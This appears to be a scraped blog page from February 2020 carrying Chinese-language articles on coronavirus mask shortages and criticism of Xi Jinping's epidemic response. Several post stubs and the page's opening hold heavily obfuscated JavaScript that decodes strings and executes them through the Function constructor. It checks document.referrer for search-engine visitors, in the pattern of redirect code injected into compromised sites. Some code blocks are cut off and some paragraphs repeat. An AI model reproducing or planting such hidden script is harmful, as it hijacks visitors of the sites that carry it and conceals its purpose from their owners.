[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+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2020-02-16 / by / in , , ,
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2020-02-16 / by / in , , ,
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,57,54,55,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,122,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![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2020-02-14 / by / in , , ,
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,54,51,56,50,52,55,53,119,48,72,84,77,76,60,34,112,47,63,38,95,43,85,67,90,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})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2020-02-13 / by / in , ,
「口罩荒」加大产量 相互扣留 可老百姓还是买不到! ?

由于中国武汉新型冠状病毒(2019-nCoV,下称武汉肺炎)疫情不断蔓延,不少国家和地区出现民众大量购买口罩的情况,中国大陆各地更有医疗前线出现口罩等防疫物资缺乏的状况。近日,因「口罩荒」引发的事件也颇多,大陆多个省市「相互扣留」对方物资,四川加大生产力度…但仍有网友质疑,为什么普通老百姓还是买不到口罩呢?

现在四川已出台10条措施,其中广安市新引进2条口罩生产线,号称「3天投(入)产(能)」,巴中市则号称「96小时」让停产10年的口罩产线恢复生产。据当局和中媒称,这批口罩目标主要「提供给医疗前线」。除此之外,成都市青白江区则有号称7日建成消毒液产线,「日产30吨消毒液」。令人不解的是,即使当局如此加大力度生产口罩,普通市民依然买不到口罩。

近日不少网民还在微博贴出官方公文,爆料大理市官方到处拦截各市口罩,不仅重庆,连重灾区湖北省黄石市向云南采购的口罩,也被大理扣留。各市对此也紧急发出公文索讨口罩,在压力之下,大理今日终于对扣留口罩一事道歉。

不过大理拦口罩一事才刚落幕,又爆出青岛、沈阳互相扣留物资。青岛政府日前对当地海关发出公文,表示从韩国采购的10万片口罩已被沈阳扣留,另外还有15万片先前从日本进口的口罩,也在沈阳海关的「辐射范围」,担心遭到扣留。该公文表示,目前获知沈阳市也有一批从韩国采购的口罩即将入境,要求海关按照「对等原则」暂时扣留该物资,言下之意就是要「相互扣留」对方物资。

由于中国武汉新型冠状病毒(2019-nCoV,下称武汉肺炎)疫情不断蔓延,不少国家和地区出现民众大量购买口罩的情况,中国大陆各地更有医疗前线出现口罩等防疫物资缺乏的状况。

近日,因「口罩荒」引发的事件也颇多,大陆多个省市「相互扣留」对方物资,四川加大生产力度…但仍有网友质疑,为什么普通老百姓还是买不到口罩呢?

另外,韩国总统文在寅先前决定捐给中国200万副口罩、10万件防护衣和10万副护目镜,却被厂商爆料中方拒绝出口制作口罩的原料,每日口罩产能恐严重供不应求,韩国网友因此把文在寅狠骂。

对此,中国网友在央视微博下幽幽叹息,指「有人拼命生产口罩,有人无私捐赠口罩,有人偷偷私藏口罩,还有人无理夺取口罩」、「感觉全世界的口罩都送给武汉和湖北了,但他们还是说不够,同时我们普通人连买口罩的机会也没有」。

也有人叹,「我买的口罩都说被政府征用了,问题是我买的也就是普通口罩而已,马上要复工了,我们这儿没口罩车都不给搭,能不能给我们普通人点活路呀。」

据中国国家发改委社会发展司副司长郝福庆表示,据统计,截至2月3日,全中国22个重点省份口罩产量达到1480万个。

2020-02-06 / by / in ,
中共当局竭力回避和封杀的话题:习近平要为当今中国所陷入危机承担什么责任?

据中国国家卫生健康委员会公告,截至2月5日0时,“收到31个省(自治区、直辖市)和新疆生产建设兵团累计报告确诊病例24324例(海南省核减1例),现有重症病例3219例,累计死亡病例490例,累计治愈出院病例892例(海南省、湖北省各核减1例),现有疑似病例23260例。”

实际上大量的中国网民通过各种方式报告说,中国官方发表的正式统计数字大大缩水。许多医院迟迟不给症状明显的病人做出诊断,直到病人死亡也没有诊断;病人死亡之后当局便命令死者遗体迅速火化,不进行死因核查,由此而来的死亡便算作普通肺炎死亡。人们通过视频不断看到有病人得不到救治死在医院的走廊上,街道上,死在家里。

中共官方从一开始的疫情可控、“病毒不会人传人”到现在全面失控,与以习近平为首的中国共产党当局的严密信息封锁、误导性宣传和舆论打压密切相关。

武汉肺炎疫情在2019年12月上旬就已经呈现明显的兆头,但习近平当局指挥下的武汉当局以打击谣言的名义大张旗鼓地追究8个通过互联网私下谈论疫情、相互提醒家人和亲友不要中招的医生。当局的这种做法导致全中国的医务人员人人自危,不敢碰触肺炎疫情话题,甚至在朋友圈内也不敢碰触这一话题。。

一些中国公众感到愤怒的是,武汉当局和中共中央当局并不是因为不了解情况而对那些医生进行了打压。中国当局承认一开始就一直掌握着疫情发展的信息。2月3日,中国外交部发言人华春莹称,在疫情发展过程中,中国一直与世界卫生组织和美国保持着沟通,并且“从1月3日起,共30次向美国通报疫情信息和防控措施。”

中国外交部发言人华春莹的这番话引起中国民间舆论哗然。人们纷纷谴责中共当局向国际组织和外国通报疫情,却对中国公众实行疫情信息封锁,对透露疫情信息的医务人员进行大张旗鼓的追究打压,同时持续向公众发出疫情可防可控、未见人传人的误导性信息。

中共当局的信息封锁加误导致使成千上万的公众在当局营造的虚假安全感中染上病毒。这种做法最终导致疫情失控,导致当局最终对武汉和湖北十几个城市以及其他一些省份的城市实行封城,断绝市内的和进出城市的公共和私人交通。中国各地当局随后纷纷设置路障,甚至对疑似感染者实行抓捕和封门禁闭的极端措施。

信息封锁导致疫情大爆发的灾难,封城措施导致人道主义灾难。交通断绝导致病人难以去医院就医。

习近平抢功又避责?

分析人士指出,在封锁信息导致疫情失控、封城措施导致病人难以就医的人道灾难、导致各地方出现大量的以防疫为名的侵犯基本人权的非法活动盛行之际,一些中国民众纷纷谴责习近平当局有钱在许多国家动辄撒出几十亿几百亿美元、却对中国的医疗投入十分吝啬,导致众多的患者得不到及时治疗,只能痛苦地死去,导致一线医生缺乏口罩、防护服之类的基本用品、不得不用垃圾袋充当防护之际,习近平接见世界卫生组织总干事所说的一番话在中国公众和网民当中引起热议。

习近平28日在北京人民大会堂会见世卫组织总干事谭德塞时说:(对武汉肺炎疫情)中国政府高度重视, “因为政府的宗旨就是,把人民的生命安全、身体健康放在最高位置上。所以对于这一次的疫情防控工作,我一直是在亲自指挥、亲自部署。”

习近平说这番话究竟是什么意思?中国网民议论纷纷。截至目前,有关的议论大致分为两派。一派认为,这番话展示了习近平是真男儿,在这个时候居然说这种话,显示了他敢作敢当,愿意并敢于承担责任。另一派则认为,其实习近平对谭德塞所说的这番话的意思是,我就是老大,是绝对权威,你们都给我闭嘴,不得妄议中央,我就是中央,就是不容挑战的绝对权威。

担任中共中央总书记的习近平近年来反复强调,当今中国“东西南北中,党政军民学,党是领导一切的”,中国要“一锤定音”,“定于一尊”,一尊就是他本人,中共及其政府各级官员必须服从其指令,必须维护他的绝对权威,否则严惩不贷。

在纽约出版的政论杂志《北京之春》的荣誉主编胡平说,自从2012年接近11月上台以来,喜欢大权独揽的习近平喜欢出风头、喜欢说狠话,但又动辄虎头蛇尾,不喜欢承担责任;在面临当前疫情危机的时候,习还是要竭力揽权却无意担责,习近平会晤谭德塞时说的这番话再度显示了习近平上台以来的一贯作风。

胡平说:“我觉得习近平讲这个话是因为他感受到了外界对他的一种质问。你想,(中国国务院总理)李克强顶着中央疫情领导小组组长的头衔到了武汉,人们自然要问, 习近平这么爱当小组长,怎么就把这个小组长让给李克强了呢?揽权的事你就要霸占,担责的事你就推给别人。人家李克强到疫区武汉去了,你怎么还呆在北京稳坐钓鱼台呢?武汉疫情这么严重,你习近平除了说几句假大空的话之外,你还干了些什么呢?他显然是感到有这么种压力。所以,他要出来表白,表功,所以他要说他亲自指挥,亲自部署,而且是‘一直亲自指挥,亲自部署。’”

迄今为止,面对来势汹汹的疫情,习近平一方面发出指令要下级官员“坚守岗位靠前指挥”、一方面他自己却一直回避前线,只是遥控指挥,这种景象不但在中国公众和在海外华人社区当中招致批评者说他只是善于说大话空话,善于逃避危险,也招致西方媒体的好奇和讥笑。

2月4日,英国《卫报》发表报道,大标题是,“既抢功又避责?习近平在与冠状病毒作战的前线缺席”;副标题是,“这位中国领导人在国家危机期间不同寻常地决定遥控指挥已经引发怀疑”。

《卫报》的报道说:“在其政府急忙应对冠状病毒疫情之际,中国国家主席习近平明显地从公众视野中神隐。截至目前,疫情已经造成两万多人染病,400多人丧生。

“习近平最近的公开露面是1月28日。当时他在北京会晤了世界卫生组织总干事,声言他‘亲自指挥’应对疫情。

“然而,习近平似乎在政府与病毒的战斗中不在场。他没有探视医院、医生或病人的照片。在有关官员承认疫情达到危机水平的几天之后,探访疫情中心武汉的是总理李克强。这个周末,武汉出现的庞大车队导致有谣传说他正在前往武汉,但他还没有现身。”

